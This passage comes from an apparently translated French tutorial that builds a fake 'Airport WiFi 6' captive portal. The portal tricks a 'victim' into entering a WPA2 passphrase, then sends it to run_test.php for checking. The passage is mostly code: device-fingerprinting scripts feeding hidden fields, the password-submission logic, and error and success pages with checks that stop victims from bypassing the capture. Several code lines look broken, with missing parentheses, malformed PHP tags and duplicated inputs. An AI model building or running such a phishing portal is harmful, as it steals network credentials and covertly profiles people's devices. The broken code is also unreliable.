else if (userAgent.includes("Windows NT 6.1")) operatingSystem = "Windows 7" ; - Nous utilisons ici une instruction else if pour vérifier si l'agent utilisateur contient "Windows NT 6.1" ; si c'est le cas, nous fixons la variable operatingSystem à "Windows 7".

else if (userAgent.includes("Windows NT 6.0")) operatingSystem = "Windows Vista" ; - Nous utilisons ici une instruction else if pour vérifier si l'agent utilisateur contient "Windows NT 6.0" ; si c'est le cas, nous attribuons la valeur "Windows Vista" à la variable operatingSystem.

else if (userAgent.includes("Windows NT 5.1")) operatingSystem = "Windows XP" ; - Nous utilisons ici une instruction else if pour vérifier si l'agent utilisateur contient "Windows NT 5.1" ; si c'est le cas, nous attribuons la valeur "Windows XP" à la variable operatingSystem.

else if (userAgent.includes("Win")) operatingSystem = "Windows (Other)" ; - Nous utilisons ici une instruction else if pour vérifier si l'agent utilisateur contient "Win" ; si c'est le cas, nous attribuons la valeur "Windows (Other)" à la variable operatingSystem.

else if (userAgent.includes("Mac") && userAgent.includes("Intel")) operatingSystem = "MacOS/iPad" ; - Nous utilisons ici une instruction else if pour vérifier si l'agent utilisateur contient "Mac" et "Intel", si c'est le cas nous définissons alors la variable operatingSystem à "MacOS/iPad" car ils utilisent tous les deux le même type d'UA.

else if (userAgent.includes("Linux") && !userAgent.includes("Android")) operatingSystem = "Linux" ; - Nous utilisons ici une instruction else if pour vérifier si l'agent utilisateur contient "Linux" et, à l'aide d'un opérateur logique NOT, n'inclut pas "Android" ; si c'est le cas, nous attribuons la valeur "Linux" à la variable operatingSystem.

else if (userAgent.includes("Android")) operatingSystem = "Android" ; - Nous utilisons ici une instruction else if pour vérifier si l'agent utilisateur contient "Android" ; si c'est le cas, nous attribuons la valeur "Android" à la variable operatingSystem.

else if (userAgent.includes("iPhone") && !userAgent.includes("Intel")) operatingSystem = "iOS (iPhone)" ; - Nous utilisons ici une instruction else if pour vérifier si l'agent utilisateur contient "iPhone" et n'inclut pas "Intel", si c'est le cas nous définissons la variable operatingSystem à "iOS (iPhone)" puisqu'ils utilisent tous les deux le même type d'UA.

else operatingSystem = "Unknown OS" ; - Ici, si toutes les déclarations ci-dessus sont égales à false, nous définissons la variable à "Unknown OS".

document.getElementById("OS").value = operatingSystem ; - Ici, nous définissons la valeur de l'élément d'entrée caché qui a l'id de "OS" avec la valeur de la variable operatingSystem.

function GOS() { var userAgent = navigator.userAgent ; var operatingSystem ; if (userAgent.includes("Windows NT 10.0")) operatingSystem = "Windows 10/11" ; else if (userAgent.includes("Windows NT 6.3")) operatingSystem = "Windows 8.1" ; else if (userAgent.includes("Windows NT 6.2")) operatingSystem = "Windows 8" ; else if (userAgent.includes("Windows NT 6.1") operatingSystem = "Windows 7" ; else if (userAgent.includes("Windows NT 6.0")) operatingSystem = "Windows Vista" ; else if (userAgent.includes("Windows NT 5.1")) operatingSystem = "Windows XP" ; else if (userAgent.includes("Win")) operatingSystem = "Windows (Other)" ; else if (userAgent.includes("Mac") && userAgent.includes("Intel")) operatingSystem = "MacOS/iPad" ; else if (userAgent.includes("Linux") && !userAgent.includes("Android")) operatingSystem = "Linux" ; else if (userAgent.includes("Android")) operatingSystem = "Android" ; else if (userAgent.includes("iPhone") && !userAgent.includes("Intel")) operatingSystem = "iOS (iPhone)" ; else operatingSystem = "Unknown OS" ; document.getElementById("OS").value = operatingSystem ; }

GWB (Get Web Browser) :

function GWB() { - Nous définissons ici une nouvelle fonction "GWB".

var userAgent = navigator.userAgent ; - Nous définissons ici une nouvelle variable "userAgent" en utilisant la propriété navigator.userAgent pour récupérer l'agent utilisateur de l'utilisateur.

var browser = "Unknown" ; - Nous définissons ici une nouvelle variable "browser" dont la valeur par défaut est "Unknown".

if (userAgent.includes("Firefox") && !userAgent.includes("Seamonkey")) browser = "Firefox" ; - Nous vérifions ici avec une instruction if utilisant includes que l'agent utilisateur contient "FireFox". Nous utilisons ensuite un opérateur logique AND suivi de l'opérateur logique NOT, ce qui permet de vérifier que l'agent utilisateur contient "Firefox" mais pas "Seamonkey". La variable navigateur prend alors la valeur "Firefox".

else if (userAgent.includes("Seamonkey")) browser = "Seamonkey" ; - Ici, nous vérifions à l'aide d'includes que l'agent utilisateur contient "Seamonkey" ; si c'est le cas, la variable navigateur prend la valeur "Seamonkey".

else if (userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Chrome" ; - Comme précédemment, nous vérifions à l'aide de includes que l'agent utilisateur contient "Chrome", puis nous utilisons un opérateur logique AND suivi de l'opérateur logique NOT, ce qui permet de vérifier que l'agent utilisateur contient "Chrome" mais pas "Chromium". La variable navigateur prend alors la valeur "Chrome".

else if (userAgent.includes("Chromium")) browser = "Chromium" ; - Ici, comme précédemment, nous vérifions à l'aide d'includes que l'agent utilisateur contient "Chromium", si c'est le cas, la variable navigateur est alors définie comme étant "Chromium".

else if (userAgent.includes("Safari") && !userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Safari" ; - Comme précédemment, nous vérifions à l'aide de includes que l'agent utilisateur contient "Safari", puis nous utilisons un opérateur logique AND suivi de l'opérateur logique NOT et vérifions la présence de "Chrome". Nous utilisons ensuite un autre opérateur logique NOT pour vérifier que l'agent utilisateur contient "Safari", mais pas "Chrome" ni "Chromium". La variable navigateur prend alors la valeur "Safari".

else if (userAgent.includes("OPR") || userAgent.includes("Opera")) browser = "Opera" ; - Ici, nous vérifions à l'aide de "includes" que l'agent utilisateur contient "OPR", puis nous utilisons l'opérateur logique OR pour vérifier qu'il contient "Opera". Nous vérifions ainsi que l'agent utilisateur contient soit "OPR", soit "Opera", puis nous attribuons la valeur "Opera" à la variable "browser".

else if (userAgent.includes("MSIE") || userAgent.includes("Trident/")) browser = "Internet Explorer" ; - Ici, comme ci-dessus, nous vérifions à l'aide de "includes" que l'agent utilisateur contient "MSIE", puis nous utilisons l'opérateur logique OU pour vérifier s'il contient "Trident". Cela permet de vérifier que l'agent utilisateur contient soit "MSIE", soit "Trident", et de définir la variable "browser" à "Internet Explorer".

else if (userAgent.includes("Edge")) browser = "Edge" ; - Ici, nous vérifions à l'aide de "includes" que l'agent utilisateur contient "Edge" ; si c'est le cas, la variable navigateur prend la valeur "Edge".

document.getElementById("WB").value = browser ; - Enfin, nous définissons la valeur de l'élément d'entrée caché qui a l'id de "WB" avec la valeur de la variable "browser".

function GWB() { var userAgent = navigator.userAgent ; var browser = "Unknown" ; if (userAgent.includes("Firefox") && !userAgent.includes("Seamonkey")) browser = "Firefox" ; else if (userAgent.includes("Seamonkey")) browser = "Seamonkey" ; else if (userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Chrome" ; else if (userAgent.includes("Chromium")) browser = "Chromium" ; else if (userAgent.includes("Safari") && !userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Safari" ; else if (userAgent.includes("OPR") || userAgent.includes("Opera")) browser = "Opera" ; else if (userAgent.includes("MSIE") || userAgent.includes("Trident/")) browser = "Internet Explorer" ; else if (userAgent.includes("Edge")) browser = "Edge" ; // Fixer la valeur de l'élément d'entrée avec le navigateur détecté document.getElementById("WB").value = browser ; }

GAT (Get Architecture Type) :

function GAT() { - Nous définissons ici une nouvelle fonction "GAT".

var userAgent = navigator.userAgent ; - Nous définissons ici une nouvelle variable "userAgent" en utilisant la propriété "navigator.userAgent" pour récupérer l'agent utilisateur de l'utilisateur.

var architecture = "Unknown" ; - Nous définissons ici une nouvelle variable "architecture" dont la valeur par défaut est "Unknown".

if (userAgent.includes("Win64") || userAgent.includes("x64")) architecture = "64-bit" ; - Nous vérifions ici à l'aide de includes que l'agent utilisateur contient "Win64" ou "x64". Si c'est le cas, nous attribuons la valeur "64-bit" à la variable architecture.

else if (userAgent.includes("WOW64") || userAgent.includes("x86_64")) architecture = "64-bit" ; - Nous vérifions ici à l'aide des includes que l'agent utilisateur contient "WOW64" ou "x86_x64". Si c'est le cas, nous attribuons la valeur "64-bit" à la variable architecture.

else if (userAgent.includes("Win32") || userAgent.includes("x86")) architecture = "32-bit" ; - Nous vérifions ici à l'aide des includes que l'agent utilisateur contient "Win32" ou "x86". Si c'est le cas, nous attribuons la valeur "32-bit" à la variable architecture.

else if (userAgent.includes("i686")) architecture = "32-bit" ; - Nous vérifions ici à l'aide des includes que l'agent utilisateur contient "i686". Si c'est le cas, nous attribuons la valeur "32-bit" à la variable architecture.

document.getElementById("AT").value = architecture ; - Enfin, nous définissons la valeur de l'élément d'entrée caché qui a l'identifiant "AT" avec la valeur des variables d'architecture.

function GAT() { var userAgent = navigator.userAgent ; var architecture = "Unknown" ; if (userAgent.includes("Win64") || userAgent.includes("x64")) architecture = "64-bit" ; else if (userAgent.includes("WOW64") || userAgent.includes("x86_64")) architecture = "64-bit" ; else if (userAgent.includes("Win32") || userAgent.includes("x86")) architecture = "32-bit" ; else if (userAgent.includes("i686")) architecture = "32-bit" ; document.getElementById("AT").value = architecture ; }

GCC (Get Cpu Cores) :

function GCC() { - Nous définissons ici une nouvelle fonction "GCC".

var cpuCores = navigator.hardwareConcurrency || "Unknown" ; - Nous définissons ici une nouvelle variable cpuCores et utilisons la propriété navigator.hardwareConcurrency pour renvoyer des informations sur les processeurs logiques de l'utilisateur. Nous utilisons l'opérateur logique OR pour définir cette variable à "Unknown" si la valeur ne peut pas être récupérée.

document.getElementById("CC").value = cpuCores ; - Ici, nous définissons la valeur de l'élément d'entrée caché qui a l'identifiant "CC" avec la valeur des variables cpuCores.

function GCC() { var cpuCores = navigator.hardwareConcurrency || "Unknown" ; document.getElementById("CC").value = cpuCores ; }

Popover Bootstrap :

document.addEventListener('DOMContentLoaded', function () { - Nous utilisons ici une fonction addEventListener qui utilise également la fonction DOMContentLoaded, celle-ci se déclenche lorsque la page html est complètement analysée.

$('[data-toggle="popover"]').popover({ - Ici, nous activons le popover en sélectionnant tous les popovers avec l'attribut data-toggle.

container : 'body' - Nous sélectionnons également le corps du conteneur dans lequel le popover doit être affiché.

}) ; - Il s'agit simplement d'une balise de fermeture pour les lignes ci-dessus.

$(".popover-link").on("click", function (event) { - Ici, nous utilisons un sélecteur Bootstrap pour sélectionner un élément de la classe "popover-link" à l'aide d'un click et nous spécifions une nouvelle fonction.

event.preventDefault() ; - Nous utilisons ici preventDefault qui arrête l'exécution d'une action avant qu'elle ne commence.

$('[data-toggle="popover"]').popover("toggle") ; - Comme précédemment, nous sélectionnons tous les popovers dont le data-toggle est défini comme "popover", puis nous faisons basculer le popover, ce qui est considéré comme un déclenchement "manuel".

$(".popover-link").on("shown.bs.popover", function () { - Ici, comme précédemment, nous sélectionnons l'élément avec la classe "popover-link" et utilisons shown.bs.popover qui se déclenche lorsque le popover a été rendu visible à l'utilisateur.

$(".popover-link").focus() ; - Nous sélectionnons ensuite la classe, popover-link et utilisons focus pour donner le focus à l'élément lorsqu'il est initialisé.

document.addEventListener('DOMContentLoaded', function () { $('[data-toggle="popover"]'.popover({ container : 'body' }) ; $(".popover-link").on("click", function (event) { event.preventDefault() ; $('[data-toggle="popover"]').popover("toggle") ; }) ; $(".popover-link").on("shown.bs.popover", function () { $(".popover-link").focus() ; }) ; }) ;

Nous devrions maintenant avoir un fichier func.js ressemblant à ce qui suit.

Résultat du fichier func.js :

// Redirection function redirect() { setTimeout(function () { // Vérifier si la case est cochée var ACLAllowChecked = $('#ACLAllow').prop('checked') ; // Inclure le paramètre ACLAllow dans l'URL de redirection var redirectURL = "/checking.php" + (ACLAllowChecked ? '?ACLAllow=1' : '') ; window.location = redirectURL ; }, 1000) ; } // Fonction Go Back pour les erreurs.php function GoBack() { setTimeout(function () { window.location = "/default.php" ; }, 100) ; } // Fonction RunTest - Définit le contrôle du cache // et envoie l'entrée à run_test.php function runTest() { var password = document.getElementById('password').value ; var xhr = new XMLHttpRequest() ; xhr.open('POST', '/run_test.php', true) ; xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') ; xhr.setRequestHeader('Cache-Control', 'no-store, no-cache, must-revalidate') ; xhr.setRequestHeader('Pragma', 'no-cache') ; xhr.setRequestHeader('Expires', '0') ; xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { var responseText = xhr.responseText.trim() ; if (responseText !== "") { console.log(responseText) ; } // Vous pouvez ajouter d'autres manipulations si nécessaire } } ; xhr.send('password=' + encodeURIComponent(password)) ; } // Fonction pour gérer la soumission du formulaire function submitForm() { // Afficher le message de chargement lorsque le formulaire est soumis $('#loading-message').text('Logging in, please wait...') ; // Exécute le Runtest immédiatement runTest() ; // Retarde l'exécution de la fonction de redirection // Si vous ajustez trop vite, vous risquez d'obtenir // un mot de passe incorrect lors d'une entrée correcte setTimeout(function () { $('#loading-message').text('') ; redirect() ; }, 2000) ; return true ; // Autoriser la soumission du formulaire } function togglePassword() { var passwordField = document.getElementById("password") ; var icon = document.getElementById("showPasswordIcon") ; if (passwordField.type === "password") { passwordField.type = "text" ; icon.className = "bi-eye-slash-fill" ; } else { passwordField.type = "password" ; icon.className = "bi-eye-fill" ; } } function GSR() { var screenWidth = window.screen.width ; var screenHeight = window.screen.height ; var resolution = screenWidth + "x" + screenHeight ; // Fixe la valeur du champ de saisie caché avec la résolution de l'écran document.getElementById("SR").value = resolution ; } function GOS() { var userAgent = navigator.userAgent ; var operatingSystem ; if (userAgent.includes("Windows NT 10.0")) operatingSystem = "Windows 10/11" ; else if (userAgent.includes("Windows NT 6.3")) operatingSystem = "Windows 8.1" ; else if (userAgent.includes("Windows NT 6.2")) operatingSystem = "Windows 8" ; else if (userAgent.includes("Windows NT 6.1") operatingSystem = "Windows 7" ; else if (userAgent.includes("Windows NT 6.0")) operatingSystem = "Windows Vista" ; else if (userAgent.includes("Windows NT 5.1") operatingSystem = "Windows XP" ; else if (userAgent.includes("Win")) operatingSystem = "Windows (Other)" ; else if (userAgent.includes("Mac") && userAgent.includes("Intel")) operatingSystem = "MacOS/iPad" ; else if (userAgent.includes("Linux") && !userAgent.includes("Android")) operatingSystem = "Linux" ; else if (userAgent.includes("Android")) operatingSystem = "Android" ; else if (userAgent.includes("iPhone") && !userAgent.includes("Intel")) operatingSystem = "iOS (iPhone)" ; else operatingSystem = "Unknown OS" ; document.getElementById("OS").value = operatingSystem ; } function GWB() { var userAgent = navigator.userAgent ; var browser = "Unknown" ; if (userAgent.includes("Firefox") && !userAgent.includes("Seamonkey")) browser = "Firefox" ; else if (userAgent.includes("Seamonkey")) browser = "Seamonkey" ; else if (userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Chrome" ; else if (userAgent.includes("Chromium")) browser = "Chromium" ; else if (userAgent.includes("Safari") && !userAgent.includes("Chrome") && !userAgent.includes("Chromium")) browser = "Safari" ; else if (userAgent.includes("OPR") || userAgent.includes("Opera")) browser = "Opera" ; else if (userAgent.includes("MSIE") || userAgent.includes("Trident/")) browser = "Internet Explorer" ; else if (userAgent.includes("Edge")) browser = "Edge" ; // Fixer la valeur de l'élément d'entrée avec le navigateur détecté document.getElementById("WB").value = browser ; } function GAT() { var userAgent = navigator.userAgent ; var architecture = "Unknown" ; if (userAgent.includes("Win64") || userAgent.includes("x64")) architecture = "64-bit" ; else if (userAgent.includes("WOW64") || userAgent.includes("x86_64")) architecture = "64-bit" ; else if (userAgent.includes("Win32") || userAgent.includes("x86")) architecture = "32-bit" ; else if (userAgent.includes("i686")) architecture = "32-bit" ; document.getElementById("AT").value = architecture ; } function GCC() { var cpuCores = navigator.hardwareConcurrency || "Unknown" ; document.getElementById("CC").value = cpuCores ; } // Initialisation du popover document.addEventListener('DOMContentLoaded', function () { $('[data-toggle="popover"]').popover({ container : 'body' }) ; $(".popover-link").on("click", function (event) { event.preventDefault() ; $('[data-toggle="popover"]').popover("toggle") ; }) ; $(".popover-link").on("shown.bs.popover", function () { $(".popover-link").focus() ; }) ; }) ;

Création du fichier Incorrect.php

Pour cela, nous allons simplement copier et coller le code de default.php et juste enlever et remplacer certaines choses.

Tout d'abord, nous devons supprimer l'exigence pour la page visitée :

require_once('visited.php') ; // supprimer

Ensuite, nous allons supprimer l'iframe :

<iframe name="login" id="login" style="display : none ;"></iframe> // remove

Ensuite, nous voulons supprimer le fichier d'icônes bootstrap car il n'est pas nécessaire ici :

   <link rel="stylesheet" href="/css/bootstrap-icons.css"> // remove

Ensuite, nous voulons remplacer tout ce bloc de code :

                       <h3 class="card-title text-center"><?= $essid ; ?></h3> <p class="text-center small mb-5">Il semble que vous deviez être autorisé à utiliser ce point d'accès sans fil.</p> <form method="POST" action="/captiveportal/index.php" onsubmit="submitForm()" target="login" id="loginForm"> <div class="form-group text-left mb-4"> <label for="password">Passphrase :</label> <div class="input-group"> <input type="password" class="form-control" id="password" name="password" placeholder="WPA2 Passphrase" autocomplete="current-password" required> <div class="input-group-append"> <span class="input-group-text"> <span class="input-group-text"> <i id="showPasswordIcon" class="bi bi-eye-fill" onclick="togglePassword()"></i> </span> </div> </div> </div>
                            </div> <div id="loading-message" class="text-center mt-3 mb-3 font-weight-bold"></div> <input type="hidden" name="ssid" value="< ?=getClientSSID($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="hostname" value="< ?=getClientHostName($_SERVER['REMOTE_ADDR']);?>"> <input type="hidden" name="mac" value="<?=getClientMac($_SERVER['REMOTE_ADDR']); ?>"> <input type="hidden" name="ip" value="<?=$_SERVER['REMOTE_ADDR'];?>"> <input type="hidden" name="useragent" value="<?= htmlspecialchars($_SERVER['HTTP_USER_AGENT']) ; ?>"> <input type="hidden" id="SR" name="SR" value=""> <input type="hidden" id="OS" name="OS" value=""> <input type="hidden" id="WB" name="WB" value=""> <input type="hidden" id="WB" name="WB" value=""> <input type="hidden" id="WB" name="WB" value=">
                            <input type="hidden" id="AT" name="AT" value=""> <input type="hidden" id="CC" name="CC" value=""> <script type="text/javascript">GSR() ; GOS() ; GWB() ; GAT() ; GCC();</script>
                            <button type="submit" class="btn btn-orange btn-block text-white">Login</button> <div class="form-group form-check text-left mt-2"> <input type="checkbox" class="form-check-input" id="ACLAllow" name="ACLAllow" value="0"> <label class="form-check-label" for="ACLAllow">Add MAC to ALC Allow List</label> </div> </form>

Remplacer par :

                       <h3 class="card-title text-center">Oops!</h3> <p class="text-center small">Il semble que vous ayez saisi une phrase d'authentification incorrecte, veuillez vérifier votre orthographe et réessayer.</p> <button class="btn btn-orange btn-block text-white mt-5" onclick="GoBack()">Retourner</button>

Résultat de Incorrect.php :

Nous devrions maintenant avoir une page Incorrect qui ressemble à ceci :

<?php $destination = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "" ; require_once('helper.php') ; header("Cache-Control : no-store, no-cache, must-revalidate") ; header("Pragma : no-cache") ; header("Expires : 0") ; $essid = "Airport WiFi 6" ; ?> < !DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> <script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> <script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> <link rel="stylesheet" href="/fr/style.css"> <script type="text/javascript" src="/func.js"></script> <title><?= $essid ?></title> </head> <body> <div class="container mt-5"> <div class="form-row justify-content-center"> <div class="col-md-6"> <div class="card rounded-lg border-light shadow"> <div class="card-body text-center"> <img src="airport-logo.png" class="img-fluid mb-3" style="max-width : 200 ; max-height : 100px ; object-fit : contain ;"> <h3 class="card-title text-center">Oops!</h3> <p class="text-center small">Il semble que vous ayez saisi une phrase d'authentification incorrecte, veuillez vérifier votre orthographe et réessayer.</p> <button class="btn btn-orange btn-block text-white mt-5" onclick="GoBack()">Retour</button> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATUS : ERR_FAILED_AUTH <p class="text-left small text-muted d-flex justify-content-between align-items-center"> MAC du client : < ?=getClientMac($_SERVER['REMOTE_ADDR']);?> <a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="Ceci est dû aux paramètres de la liste de contrôle d'accès (ACL) implémentés sur le point d'accès sans fil. Les appareils doivent donc s'authentifier à nouveau, ce qui interroge la liste de contrôle d'accès du point d'accès. Si votre appareil est autorisé à accéder à ce réseau, son MAC sera autorisé lors de la réauthentification via le portail captif intégré de ce point d'accès sans fil. C'est pourquoi vous voyez ce message." title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Pourquoi cela s'est-il produit ?</a> </p> </p> </div> </div> </div> </div> </body> </html>

Création de Correct.php

Maintenant, en utilisant Incorrect.php comme base pour Correct.php parce que beaucoup de choses ont déjà été enlevées, nous voulons ajouter et enlever quelques bouts de code.

J'ai rapidement remarqué un problème lors de la création de ce fichier : lorsque nous affichons le portail captif en utilisant le hotspot-detect du portail captif d'Apple http://captive.apple .com/hotspot-detect.html (j'ai testé sur des appareils mobiles et des tablettes à l'époque). Vous pouvez également accéder au portail captif sur les appareils Apple en utilisant http://captive.apple.com.

Après quelques clics dans Safari, nous pouvons voir le fichier default.php ajouté au lien ci-dessus. Il suffit de taper correct.php pour permettre à la victime d'accéder au portail captif sans entrer de mot de passe. Nous voulions bien sûr empêcher cela, et j'ai donc introduit deux vérifications à cet effet.

  1. Vérification de l'en-tête de référence
  2. Vérification du paramètre du fichier (un fichier avec une valeur stockée de vrai si le mot de passe correct a été saisi).

Je vais expliquer les nouveaux éléments de code au fur et à mesure et les décomposer.

Vérification du référent, du fichier et de la case à cocher :

$rueayFilePath = '/tmp/airport_rueay.txt' ; - Nous définissons ici une nouvelle variable et lui attribuons la valeur d'un chemin de fichier absolu, pour la vérification du fichier.

$aclAllowFilePath = '/tmp/airport_aclallow.txt' ; - Nous définissons ici une nouvelle variable et lui donnons la valeur d'un chemin d'accès absolu, afin d'afficher un message unique si la case est cochée.

if ( - Le début de l'instruction "if".

file_exists($rueayFilePath) && - Nous utilisons ici la fonction PHP file_exists pour vérifier si le chemin d'accès au fichier de la variable existe ou non, elle utilise ensuite la logique AND, ce qui signifie qu'elle ne continue que si tous les opérandes sont vrais.

strpos(file_get_contents($rueayFilePath), 'true') !== false && - On utilise ici la fonction PHP strpos suivie de la fonction PHP file_get_contents pour lire le "rueayFilePath" et vérifier que le mot "true" est trouvé et n'est pas égal à false, ce qui utilise ensuite une autre logique AND.

isset($_SERVER['HTTP_REFERER']) && - Ceci utilise la fonction PHP "isset" pour vérifier que la variable PHP "HTTP_REFERER" est définie.

strpos($_SERVER['HTTP_REFERER'], '/checking.php') !== false - Comme ci-dessus, ceci utilise "strpos" pour trouver l'occurrence d'une sous-chaîne dans une chaîne de la variable PHP "HTTP_REFERER" en cherchant "/checking.php" et vérifie que ceci n'est pas égal à false (si défini, il sera égal à "true").

if ( - Début de l'instruction "if" suivante.

file_exists($aclAllowFilePath) && - Comme ci-dessus, nous utilisons "file_exists" pour vérifier que la variable "aclAllowFilePath" existe.

strpos(file_get_contents($aclAllowFilePath), 'true') !== false - Comme pour la vérification "rueay", nous vérifions que le fichier airport_aclallow.txt contient la ligne "true" et qu'elle n'est pas égale à false.

$ACLMessage = 'Added : ' . getClientMac($_SERVER['REMOTE_ADDR']) . ' to ACL Allowed List.'; - Nous définissons ensuite une nouvelle variable "ACLMessage" qui est utilisée pour afficher le message "Added :", nous utilisons ensuite un concaténateur de chaînes PHP pour retourner la valeur de getClientMac en utilisant la superglobale $_SERVER avec la variable REMOTE_ADDR et nous affichons ensuite le message restant "to ACL Allowed List".

} else { - L'instruction else si ce qui précède n'est pas vrai.

header("Location : /checking.php") ; - Nous définissons ensuite un nouvel en-tête Location pour rediriger l'utilisateur vers la page /checking.php.

exit() ; - Nous sortons enfin de l' instruction if pour terminer.

Nous voulons ajouter ce code dans notre bloc de code PHP en haut de la page.


$rueayFilePath = '/tmp/airport_rueay.txt' ; $aclAllowFilePath = '/tmp/airport_aclallow.txt' ; // Vérifier si true est trouvé dans le fichier airport_rueay.txt et si le référent est checking.php if ( file_exists($rueayFilePath) && strpos(file_get_contents($rueayFilePath), 'true') !== false && isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], '/checking.php') !== false ) { // Continue avec le comportement normal // Vérifie si true est trouvé dans le fichier et génère un message if ( file_exists($aclAllowFilePath) && strpos(file_get_contents($aclAllowFilePath), 'true') !== false ) { $ACLMessage = 'Added : ' . getClientMac($_SERVER['REMOTE_ADDR']) . ' to ACL Allowed List.' ; } } else { // Redirection vers checking.php si les conditions ne sont pas remplies header("Location : /checking.php") ; exit() ; }

fonction auth_success :

Je ne voulais pas ajouter cette fonction au fichier func.js, mais plutôt l'ajouter directement à la page correct.php. La raison en est que l'utilisateur ne peut pas voir la composition de la fonction à moins d'être sur la page car la page correct.php a des mesures de sécurité pour empêcher la visite directe de cette fonction. Comme précédemment, je vais décomposer ce qui se passe dans cette balise de script.

var destinationValue = "<?php $destination ; ?>" ; - Ici, nous définissons une nouvelle variable destinationValue avec une valeur contenant du code php. Celui-ci s'exécutera et renverra la valeur de la variable de destination définie sur toutes nos pages en haut de la page en tant que valeur de la variable destinationValue.

function auth_success(targetValue) { - Nous définissons ici la fonction auth_success avec un paramètre "targetValue" qui peut servir d'espace réservé pour les valeurs à passer dans les fonctions.

var xhr = new XMLHttpRequest() ; - Nous définissons ici la variable xhr pour créer un nouveau XMLHttpRequest.

var url = "/captiveportal/index.php" ; - Nous définissons ici une autre variable url avec l'URL à laquelle nous voulons que la requête soit envoyée.

var params = "target=" + encodeURIComponent(targetValue) ; - Nous définissons ensuite une autre variable "params" qui définit la valeur comme "target=" (notre paramètre nécessaire pour que cela fonctionne) et utilise l'addition pour concaténer la targetValue en utilisant "encodeURIComponent" pour s'assurer que la requête est correctement formatée.

xhr.open("POST", url, true) ; - Comme nous l'avons fait dans func.js, nous initialisons la requête avec notre "method" en tant que "POST", l'URL en tant que valeur de la variable url, suivi par le paramètre async.

xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded") ; - Nous définissons ensuite un en-tête de requête HTTP "Content-Type" avec le type MIME "application/x-www-form-urlencoded".

xhr.onreadystatechange = function () { - Ici, comme précédemment, nous utilisons "onreadystatechange" pour déclencher l'événement lorsque "readystatechange" change, nous démarrons alors une nouvelle fonction.

if (xhr.readyState === 4 && xhr.status === 200) { - Comme précédemment, cette instruction if utilise "readyState" avec une valeur de "4" avec une logique AND si le code de réponse http est égal à 200.

console.log(xhr.responseText) ; - Ceci utilise ensuite console.log pour enregistrer la sortie du responseText dans la console.

xhr.send(params) ; - Nous utilisons ensuite xhr.send pour envoyer la requête avec le paramètre "params".

auth_success(destinationValue) ; - Enfin, nous exécutons la fonction auth_success en dehors de la fonction actuelle avec la valeur du paramètre "destinationValue". Nous envoyons effectivement la demande au portail captif avec la valeur de la destination.

Ensuite, nous voulons ajouter la fonction auth_success juste entre la balise "title" et la balise "script" précédente pour func.js. Vous obtiendrez un message dans le journal de la console disant "vous n'avez pas été autorisé" mais le client sera en fait autorisé à partir de ce point. Vous recevrez également une notification de l'interface WebUI mais celle-ci peut être un peu retardée, j'ai constaté lors de mes tests un délai d'environ 7 à 10 secondes.

Si vous ne souhaitez pas autoriser les utilisateurs à utiliser l'ICS (Internet Connection Sharing), ce qui signifie qu'il n'y a pas d'accès à l'internet, vous pouvez simplement ne pas utiliser cette fonction. Vous pouvez tout simplement supprimer cette fonction (uniquement les balises de script).

   <script type="text/javascript" src="/func.js"></script> <script type="text/javascript"> var destinationValue = "<?php $destination ; ?>" ; function auth_success(targetValue) { var xhr = new XMLHttpRequest() ; var url = "/captiveportal/index.php" ; var params = "target=" + encodeURIComponent(targetValue) ; xhr.open("POST", url, true) ; xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded") ; xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { console.log(xhr.responseText) ; } } ; xhr.send(params) ; } auth_success(destinationValue) ; // Call auth_success with the initial value </script> <title><?= $essid ?></title>

Ensuite, nous voulons remplacer ce code par un nouveau morceau de code, que j'expliquerai plus loin :

                       <img src="airport-logo.png" class="img-fluid mb-3" style="max-width : 200 ; max-height : 100px ; object-fit : contain ;"> <h3 class="card-title text-center">Oops!</h3> <p class="text-center small">Il semble que vous ayez saisi une phrase d'authentification incorrecte, veuillez réessayer.</p> <button class="btn btn-orange btn-block text-white mt-5" onclick="GoBack()">Retour</button> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATUS : ERR_FAILED_AUTH <p class="text-left small text-muted d-flex justify-content-between align-items-center"> MAC du client : < ?=getClientMac($_SERVER['REMOTE_ADDR']);?> <a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="Ceci est dû aux paramètres de la liste de contrôle d'accès (ACL) implémentés sur le point d'accès sans fil. Les appareils doivent donc s'authentifier à nouveau, ce qui interroge la liste de contrôle d'accès du point d'accès. Si votre appareil est autorisé à accéder à ce réseau, son MAC sera autorisé lors de la réauthentification via le portail captif intégré de ce point d'accès sans fil. C'est pourquoi vous voyez ce message." title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Pourquoi cela est-il arrivé ? </a> </p>

J'ai ajouté quelque chose ici que je voulais décomposer pour vous. Il s'agit de l'affichage du message ACLAllow si la valeur de la case à cocher est vraie. Cela se passe à l'intérieur d'un bloc de code PHP.

if (isset($ACLMessage)) { - Ceci utilise une instruction if pour vérifier que la variable ACLMessage est définie, si c'est le cas, continuez.

